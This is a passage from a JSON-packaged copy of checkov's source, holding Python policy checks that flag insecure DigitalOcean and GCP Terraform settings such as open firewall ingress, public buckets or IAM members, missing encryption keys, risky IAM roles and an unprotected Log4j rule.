       :return: JSONPath syntax path of the checked attribute\n        \"\"\"\n        raise NotImplementedError()\n\n    def get_expected_values(self) -> List[Any]:\n        \"\"\"\n        Override the method with the list of acceptable values if the check has more than one possible expected value, given\n        the inspected key\n        :return: List of expected values, defaults to a list of the expected value\n        \"\"\"\n        return [self.get_expected_value()]\n\n    def get_expected_value(self) -> Any:\n        \"\"\"\n        Returns the default expected value, governed by provider best practices\n        \"\"\"\n        return True\n\n    def get_evaluated_keys(self) -> List[str]:\n        return force_list(self.get_inspected_key())\n"
  },
  {
    "path": "checkov/terraform/checks/resource/digitalocean/DropletSSHKeys.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom typing import Any\n\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass DropletSSHKeys(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure the droplet specifies an SSH key\"\n        id = \"CKV_DIO_2\"\n        supported_resources = ['digitalocean_droplet']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"ssh_keys\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = DropletSSHKeys()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/digitalocean/FirewallIngressOpen.py",
    "content": "from typing import Dict, List, Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.common.util.type_forcers import force_list\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass FirewallIngressOpen(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure the firewall ingress is not wide open\"\n        id = \"CKV_DIO_4\"\n        supported_resources = [\"digitalocean_firewall\"]\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        self.evaluated_keys = [\"inbound_rule\"]\n        inbound_rules = conf.get(\"inbound_rule\")\n        if inbound_rules:\n            for rule in force_list(inbound_rules[0]):\n                if not rule:\n                    continue\n                sources = rule.get(\"source_addresses\")\n                if sources:\n                    for idx, source in enumerate(sources[0]):\n                        self.evaluated_keys = [f\"inbound_rule/[0]/source_addresses/[{idx}]\"]\n                        if source in (\"0.0.0.0/0\", \"::/0\"):\n                            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = FirewallIngressOpen()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/digitalocean/SpacesBucketPublicRead.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom typing import List, Any\n\n\nclass SpaceBucketPublicRead(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure the Spaces bucket is private\"\n        id = \"CKV_DIO_3\"\n        supported_resources = ['digitalocean_spaces_bucket']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories,\n                         supported_resources=supported_resources,\n                         missing_attribute_result=CheckResult.PASSED)\n\n    def get_inspected_key(self):\n        return \"acl\"\n\n    def get_forbidden_values(self) -> List[Any]:\n        return [\"public-read\"]\n\n\ncheck = SpaceBucketPublicRead()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/digitalocean/SpacesBucketVersioning.py",
    "content": "\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass SpaceBucketVersioning(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure the Spaces bucket has versioning enabled\"\n        id = \"CKV_DIO_1\"\n        supported_resources = ['digitalocean_spaces_bucket']\n        categories = [CheckCategories.BACKUP_AND_RECOVERY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        self.evaluated_keys = [\"versioning/[0]/enabled\"]\n        return \"versioning/[0]/enabled\"\n\n\ncheck = SpaceBucketVersioning()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/digitalocean/__init__.py",
    "content": "from os.path import dirname, basename, isfile, join\nimport glob\n\nmodules = glob.glob(join(dirname(__file__), \"*.py\"))\n__all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith(\"__init__.py\")]\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/AbsGoogleBasicRoles.py",
    "content": "from checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\nBASIC_ROLES = {\n    \"roles/owner\",\n    \"roles/editor\",\n    \"roles/viewer\",\n}\n\n\nclass AbsGoogleBasicRoles(BaseResourceCheck):\n    def scan_resource_conf(self, conf):\n        self.evaluated_keys = ['role']\n        role = conf.get(\"role\")\n        if role and isinstance(role, list) and role[0] in BASIC_ROLES:\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/AbsGoogleComputeFirewallUnrestrictedIngress.py",
    "content": "from checkov.common.util.type_forcers import force_int\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AbsGoogleComputeFirewallUnrestrictedIngress(BaseResourceCheck):\n    def __init__(self, name, id, categories, supported_resources, port):\n        super().__init__(name, id, categories, supported_resources)\n        self.port = port\n\n    def scan_resource_conf(self, conf):\n        if 'allow' in conf:\n            allow_blocks = conf['allow']\n            self.evaluated_keys = ['allow']\n            for block in allow_blocks:\n                if isinstance(block, str):\n                    self.evaluated_keys = [f'allow/[{allow_blocks.index(block)}]']\n                    return CheckResult.UNKNOWN\n                if 'ports' in block:\n                    if self._is_port_in_range(block['ports']):\n                        source_ranges_list = conf.get('source_ranges', [])\n                        if source_ranges_list:\n                            source_ranges = source_ranges_list[0]\n                            if source_ranges and \"0.0.0.0/0\" in source_ranges:  # nosec\n                                self.evaluated_keys = [f'allow/[{allow_blocks.index(block)}]/ports', 'source_ranges']\n                                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def _is_port_in_range(self, ports_list):\n        if len(ports_list) == 0:\n            return False\n        if isinstance(ports_list[0], list):\n            ports_list = ports_list[0]\n        for port_range in ports_list:\n            port = force_int(port_range)\n            if port and self.port == port:\n                return True\n            if port is None and port_range and '-' in port_range:\n                try:\n                    [from_port, to_port] = port_range.split('-')\n                    if int(from_port) <= self.port <= int(to_port):\n                        return True\n                except Exception:\n                    return CheckResult.UNKNOWN\n        return False\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/AbsGoogleIAMMemberDefaultServiceAccount.py",
    "content": "import re\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n# Default Compute -compute@developer.gserviceaccount.com\n# Default App Spot @appspot.gserviceaccount.com\nDEFAULT_SA = re.compile(r\".*-compute@developer\\.gserviceaccount\\.com|.*@appspot\\.gserviceaccount\\.com\")\n\n\nclass AbsGoogleIAMMemberDefaultServiceAccount(BaseResourceCheck):\n    def scan_resource_conf(self, conf):\n        self.evaluated_keys = ['members'] if 'members' in conf else ['member']\n        members_conf = conf['members'][0] if 'members' in conf else conf.get('member', [])\n        if any(re.match(DEFAULT_SA, str(member)) for member in members_conf):\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/AbsGoogleImpersonationRoles.py",
    "content": "from checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n# Reference: https://cloud.google.com/iam/docs/best-practices-service-accounts\n# Lookup: https://cloud.google.com/iam/docs/permissions-reference\n\nIMPERSONATION_ROLES = [\n    \"roles/owner\",\n    \"roles/editor\",\n    \"roles/iam.securityAdmin\",\n    \"roles/iam.serviceAccountAdmin\",\n    \"roles/iam.serviceAccountKeyAdmin\",\n    \"roles/iam.serviceAccountUser\",\n    \"roles/iam.serviceAccountTokenCreator\",\n    \"roles/iam.workloadIdentityUser\",\n    \"roles/dataflow.developer\",\n    \"roles/serverless.serviceAgent\",\n    \"roles/dataproc.serviceAgent\",\n    \"roles/deploymentmanager.editor\",\n    \"roles/cloudbuild.builds.editor\",\n    \"roles/aiplatform.customCodeServiceAgent\",\n    \"roles/aiplatform.extensionServiceAgent\",\n    \"roles/aiplatform.serviceAgent\",\n    \"roles/apigateway.serviceAgent\",\n    \"roles/apigee.serviceAgent\",\n    \"roles/appengine.serviceAgent\",\n    \"roles/appengineflex.serviceAgent\",\n    \"roles/bigquerycontinuousquery.serviceAgent\",\n    \"roles/bigquerydatatransfer.serviceAgent\",\n    \"roles/bigqueryspark.serviceAgent\",\n    \"roles/cloudbuild.serviceAgent\",\n    \"roles/cloudconfig.serviceAgent\",\n    \"roles/clouddeploy.serviceAgent\",\n    \"roles/cloudfunctions.serviceAgent\",\n    \"roles/cloudscheduler.serviceAgent\",\n    \"roles/cloudtasks.serviceAgent\",\n    \"roles/composer.serviceAgent\",\n    \"roles/compute.serviceAgent\",\n    \"roles/connectors.serviceAgent\",\n    \"roles/dataflow.serviceAgent\",\n    \"roles/eventarc.serviceAgent\",\n    \"roles/integrations.serviceAgent\",\n    \"roles/ml.serviceAgent\",\n    \"roles/notebooks.serviceAgent\",\n    \"roles/pubsub.serviceAgent\",\n    \"roles/run.serviceAgent\",\n    \"roles/sourcerepo.serviceAgent\",\n    \"roles/workflows.serviceAgent\",\n    \"roles/iam.serviceAccountOpenIdTokenCreator\",\n    \"roles/aiplatform.colabServiceAgent\",\n    \"roles/backupdr.computeEngineOperator\",\n    \"roles/backupdr.serviceAgent\",\n    \"roles/batch.serviceAgent\",\n    \"roles/clouddeploymentmanager.serviceAgent\",\n    \"roles/cloudtpu.serviceAgent\",\n    \"roles/compute.instanceGroupManagerServiceAgent\",\n    \"roles/configdelivery.serviceAgent\",\n    \"roles/container.serviceAgent\",\n    \"roles/datapipelines.serviceAgent\",\n    \"roles/dataplex.serviceAgent\",\n    \"roles/dataprep.serviceAgent\",\n    \"roles/dataproc.hubAgent\",\n    \"roles/firebaseapphosting.serviceAgent\",\n    \"roles/firebasemods.serviceAgent\",\n    \"roles/gameservices.serviceAgent\",\n    \"roles/genomics.serviceAgent\",\n    \"roles/krmapihosting.anthosApiEndpointServiceAgent\",\n    \"roles/krmapihosting.serviceAgent\",\n    \"roles/lifesciences.serviceAgent\",\n    \"roles/osconfig.serviceAgent\",\n    \"roles/runapps.serviceAgent\",\n    \"roles/securitycenter.securityResponseServiceAgent\",\n    \"roles/workstations.serviceAgent\",\n    \"roles/securesourcemanager.serviceAgent\",\n    \"roles/assuredoss.admin\",\n    \"roles/securitycenter.admin\",\n    \"roles/vpcaccess.serviceAgent\",\n    \"roles/cloudbuild.builds.builder\",\n    \"roles/composer.worker\",\n    \"roles/dataflow.admin\",\n    \"roles/run.sourceDeveloper\",\n]\n\n\nclass AbsGoogleImpersonationRoles(BaseResourceCheck):\n    def scan_resource_conf(self, conf):\n        self.evaluated_keys = ['role']\n        if 'role' in conf and conf['role'][0] in IMPERSONATION_ROLES:\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/AbsGooglePostgresqlDatabaseFlags.py",
    "content": "from checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AbsGooglePostgresqlDatabaseFlags(BaseResourceCheck):\n    def __init__(self, name, id, categories, supported_resources, flag_name, flag_values):\n        super().__init__(name, id, categories, supported_resources)\n        self.flag_name = flag_name\n        self.flag_values = flag_values\n\n    def scan_resource_conf(self, conf):\n        if 'database_version' in conf.keys() and isinstance(conf['database_version'][0], str) and 'POSTGRES' in conf['database_version'][0]:\n            if 'settings' in conf.keys():\n                self.evaluated_keys = ['database_version/[0]/POSTGRES', 'settings']\n                flags = conf['settings'][0].get('database_flags')\n                if flags:\n                    evaluated_keys_prefix = 'settings/[0]/database_flags'\n                    if isinstance(flags[0], list):\n                        # treating use cases of the following database_flags parsing\n                        # (list of list of dictionaries with strings):'database_flags':\n                        # [[{'name': '<key>', 'value': '<value>'}, {'name': '<key>', 'value': '<value>'}]]\n                        flags = flags[0]\n                        evaluated_keys_prefix += '/[0]'\n                    else:\n                        # treating use cases of the following database_flags parsing\n                        # (list of dictionaries with arrays): 'database_flags':\n                        # [{'name': ['<key>'], 'value': ['<value>']},{'name': ['<key>'], 'value': ['<value>']}]\n                        flags = [{key: flag[key][0] for key in flag if key in ['name', 'value']} for flag in flags]\n                    for flag in flags:\n                        if isinstance(flag, dict) and flag['name'] == self.flag_name and flag['value'] in self.flag_values:\n                            self.evaluated_keys = ['database_version/[0]/POSTGRES',\n                                                   f'{evaluated_keys_prefix}/[{flags.index(flag)}]/name',\n                                                   f'{evaluated_keys_prefix}/[{flags.index(flag)}]/value']\n                            return CheckResult.PASSED\n                    self.evaluated_keys = ['database_version/[0]/POSTGRES', 'settings/[0]/database_flags']\n            return CheckResult.FAILED\n        return CheckResult.UNKNOWN\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/ArtifactRegistryPrivateRepo.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ArtifactRegistryPrivateRepo(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Artifact Registry repositories are not anonymously or publicly accessible\"\n        id = \"CKV_GCP_101\"\n        supported_resources = (\"google_artifact_registry_repository_iam_member\", \"google_artifact_registry_repository_iam_binding\")\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        public_principals = (\n            \"allUsers\",\n            \"allAuthenticatedUsers\"\n        )\n        # Depending on the terraform resource type -\n        # The member config is either a list or single principal\n        if self.entity_type == \"google_artifact_registry_repository_iam_member\":\n            # conf.get returns as a list\n            # so we create a string for comparison\n            if \"member\" in conf.keys():\n                member = conf.get(\"member\")[0]\n                if member in public_principals:\n                    return CheckResult.FAILED\n                else:\n                    return CheckResult.PASSED\n        # iam_binding returns a list of principals\n        elif self.entity_type == \"google_artifact_registry_repository_iam_binding\":\n            # Since conf.get returns a list and iam_binding returns a list (nested list)\n            # we pull out the members list using the index 0\n            if \"members\" in conf.keys():\n                members_list = conf.get(\"members\")[0]\n                if any(member in public_principals for member in members_list):\n                    return CheckResult.FAILED\n                else:\n                    return CheckResult.PASSED\n\n\ncheck = ArtifactRegistryPrivateRepo()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/ArtifactRegsitryEncryptedWithCMK.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass ArtifactRegistryEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Artifact Registry Repositories are encrypted with Customer Supplied Encryption Keys (CSEK)\"\n        id = \"CKV_GCP_84\"\n        supported_resources = ['google_artifact_registry_repository']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'kms_key_name'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = ArtifactRegistryEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/BigQueryDatasetEncryptedWithCMK.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass BigQueryDatasetEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Big Query Datasets are encrypted with Customer Supplied Encryption Keys (CSEK)\"\n        id = \"CKV_GCP_81\"\n        supported_resources = ['google_bigquery_dataset']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'default_encryption_configuration/[0]/kms_key_name'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = BigQueryDatasetEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/BigQueryPrivateTable.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass BigQueryPrivateTable(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure that BigQuery Tables are not anonymously or publicly accessible\"\n        id = \"CKV_GCP_100\"\n        supported_resources = (\"google_bigquery_table_iam_member\", \"google_bigquery_table_iam_binding\")\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        public_principals = (\n            \"allUsers\",\n            \"allAuthenticatedUsers\"\n        )\n        # Depending on the terraform resource type -\n        # The member config is either a list or single principal\n        if self.entity_type == \"google_bigquery_table_iam_member\":\n            # conf.get returns as a list\n            # so we create a string for comparison\n            if \"member\" in conf.keys():\n                member = conf.get(\"member\")[0]\n                if member in public_principals:\n                    return CheckResult.FAILED\n                else:\n                    return CheckResult.PASSED\n        # iam_binding returns a list of principals\n        elif self.entity_type == \"google_bigquery_table_iam_binding\":\n            # Since conf.get returns a list and iam_binding returns a list (nested list)\n            # we pull out the members list using the index 0\n            if \"members\" in conf.keys():\n                members_list = conf.get(\"members\")[0]\n                if any(member in public_principals for member in members_list):\n                    return CheckResult.FAILED\n                else:\n                    return CheckResult.PASSED\n\n\ncheck = BigQueryPrivateTable()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/BigQueryTableDeletionProtection.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass BigQueryTableDeletionProtection(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure BigQuery tables have deletion protection enabled\"\n        id = \"CKV_GCP_121\"\n        supported_resources = ['google_bigquery_table']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.FAILED)\n\n    def get_inspected_key(self) -> str:\n        return 'deletion_protection'\n\n    def get_expected_value(self) -> bool:\n        return True\n\n\ncheck = BigQueryTableDeletionProtection()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/BigQueryTableEncryptedWithCMK.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass BigQueryTableEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Big Query Tables are encrypted with Customer Supplied Encryption Keys (CSEK)\"\n        id = \"CKV_GCP_80\"\n        supported_resources = ['google_bigquery_table']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'encryption_configuration/[0]/kms_key_name'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = BigQueryTableEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/BigTableInstanceDeletionProtection.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass BigTableInstanceDeletionProtection(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Big Table Instances have deletion protection enabled\"\n        id = \"CKV_GCP_122\"\n        supported_resources = ['google_bigtable_instance']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.FAILED)\n\n    def get_inspected_key(self):\n        return 'deletion_protection'\n\n    def get_expected_value(self):\n        return True\n\n\ncheck = BigTableInstanceDeletionProtection()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/BigTableInstanceEncryptedWithCMK.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass BigTableInstanceEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Big Table Instances are encrypted with Customer Supplied Encryption Keys (CSEK)\"\n        id = \"CKV_GCP_85\"\n        supported_resources = ['google_bigtable_instance']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'cluster/[0]/kms_key_name'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = BigTableInstanceEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/CloudArmorWAFACLCVE202144228.py",
    "content": "from typing import List, Dict, Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.type_forcers import force_list\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.graph.graph_builder import CustomAttributes\n\n\nclass CloudArmorWAFACLCVE202144228(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Cloud Armor prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell\"\n        id = \"CKV_GCP_73\"\n        supported_resources = (\"google_compute_security_policy\",)\n        categories = (CheckCategories.APPLICATION_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        self.evaluated_keys = [\"rule\"]\n        rules = conf.get(\"rule\") or []\n        for idx_rule, rule in enumerate(force_list(rules)):\n            self.evaluated_keys = [\n                f\"rule/[{idx_rule}]/action\",\n                f\"rule/[{idx_rule}]/preview\",\n                f\"rule/[{idx_rule}]/match/[0]/expr/[0]/expression\",\n            ]\n            match = rule.get(\"match\")\n            if match and isinstance(match, list):\n                expr = match[0].get(\"expr\")\n                if expr and isinstance(expr[0], dict):\n                    if expr[0].get(\"expression\") == [\"evaluatePreconfiguredExpr('cve-canary')\"]:\n                        if rule.get(\"preview\") == [True]:\n                            return CheckResult.FAILED\n                        if rule.get(\"action\") == [\"allow\"]:\n                            return CheckResult.FAILED\n                        return CheckResult.PASSED\n                    elif expr[0].get(\"expression\") == [\"evaluatePreconfiguredWaf('cve-canary')\"]:\n                        if rule.get(\"preview\") == [True]:\n                            return CheckResult.FAILED\n                        if rule.get(\"action\") == [\"allow\"]:\n                            return CheckResult.FAILED\n                        return CheckResult.PASSED\n\n        resource_name = conf.get(\"name\")[0]\n        connected_rules = [\n            g1[1] for g1 in self.graph.nodes()\n            if g1[1].get(CustomAttributes.RESOURCE_TYPE) == \"google_compute_security_policy_rule\" and\n            g1[1].get(\"security_policy\") == resource_name\n        ]\n\n        for rule in force_list(connected_rules):\n            match = rule.get(\"match\")\n            if match and isinstance(match, dict):\n                expr = match.get(\"expr\")\n                if expr and isinstance(expr, dict):\n                    if expr.get(\"expression\") == \"evaluatePreconfiguredExpr('cve-canary')\":\n                        if rule.get(\"preview\"):\n                            return CheckResult.FAILED\n                        if rule.get(\"action\") == \"allow\":\n                            return CheckResult.FAILED\n                        return CheckResult.PASSED\n                    elif expr.get(\"expression\") == \"evaluatePreconfiguredWaf('cve-canary')\":\n                        if rule.get(\"preview\"):\n                            return CheckResult.FAILED\n                        if rule.get(\"action\") == \"allow\":\n                            return CheckResult.FAILED\n                        return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = CloudArmorWAFACLCVE202144228()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/CloudBuildWorkersArePrivate.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass CloudBuildWorkersArePrivate(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure Cloud build workers are private\"\n        id = \"CKV_GCP_86\"\n        supported_resources = ['google_cloudbuild_worker_pool']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"worker_config/[0]/no_external_ip\"\n\n\ncheck = CloudBuildWorkersArePrivate()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/CloudFunctionPermissiveIngress.py",
    "content": "from typing import Any, List\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass CloudFunctionPermissiveIngress(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure GCP Cloud Function is not configured with overly permissive Ingress setting\"\n        id = \"CKV_GCP_124\"\n        supported_resources = (\"google_cloudfunctions_function\", \"google_cloudfunctions2_function\")\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        if self.entity_type == \"google_cloudfunctions_function\":\n            return \"ingress_settings\"\n        else:\n            return \"service_config/[0]/ingress_settings/[0]\"\n\n    def get_expected_values(self) -> List[Any]:\n        return [\"ALLOW_INTERNAL_AND_GCLB\", \"ALLOW_INTERNAL_ONLY\"]\n\n\ncheck = CloudFunctionPermissiveIngress()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/CloudFunctionsShouldNotBePublic.py",
    "content": "from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass CloudFunctionsShouldNotBePublic(BaseResourceCheck):\n    def __init__(self):\n        name = \"Cloud functions should not be public\"\n        id = \"CKV_GCP_107\"\n        supported_resources = [\n            \"google_cloudfunctions_function_iam_member\",\n            \"google_cloudfunctions_function_iam_binding\",\n            \"google_cloudfunctions2_function_iam_member\",\n            \"google_cloudfunctions2_function_iam_binding\"\n        ]\n        categories = [CheckCategories.APPLICATION_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if conf.get(\"member\") and isinstance(conf.get(\"member\"), list):\n            if conf.get(\"member\") == [\"allUsers\"]:\n                return CheckResult.FAILED\n            return CheckResult.PASSED\n        if conf.get(\"members\") and isinstance(conf.get(\"members\")[0], list):\n            if \"allUsers\" in conf.get(\"members\")[0]:\n                return CheckResult.FAILED\n            return CheckResult.PASSED\n        return CheckResult.UNKNOWN\n\n\ncheck = CloudFunctionsShouldNotBePublic()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/CloudPubSubEncryptedWithCMK.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass CloudPubSubEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure PubSub Topics are encrypted with Customer Supplied Encryption Keys (CSEK)\"\n        id = \"CKV_GCP_83\"\n        supported_resources = ['google_pubsub_topic']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'kms_key_name'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = CloudPubSubEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/CloudSqlMajorVersion.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass CloudSqlMajorVersion(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure SQL database is using latest Major version\"\n        id = \"CKV_GCP_79\"\n        supported_resources = ['google_sql_database_instance']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'database_version'\n\n    def get_expected_values(self):\n        return [\"POSTGRES_18\", \"MYSQL_8_0\", \"MYSQL_8_4\", \"SQLSERVER_2022_STANDARD\", \"SQLSERVER_2022_WEB\",\n                \"SQLSERVER_2022_ENTERPRISE\", \"SQLSERVER_2022_EXPRESS\"]\n\n\ncheck = CloudSqlMajorVersion()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/CloudStorageLogging.py",
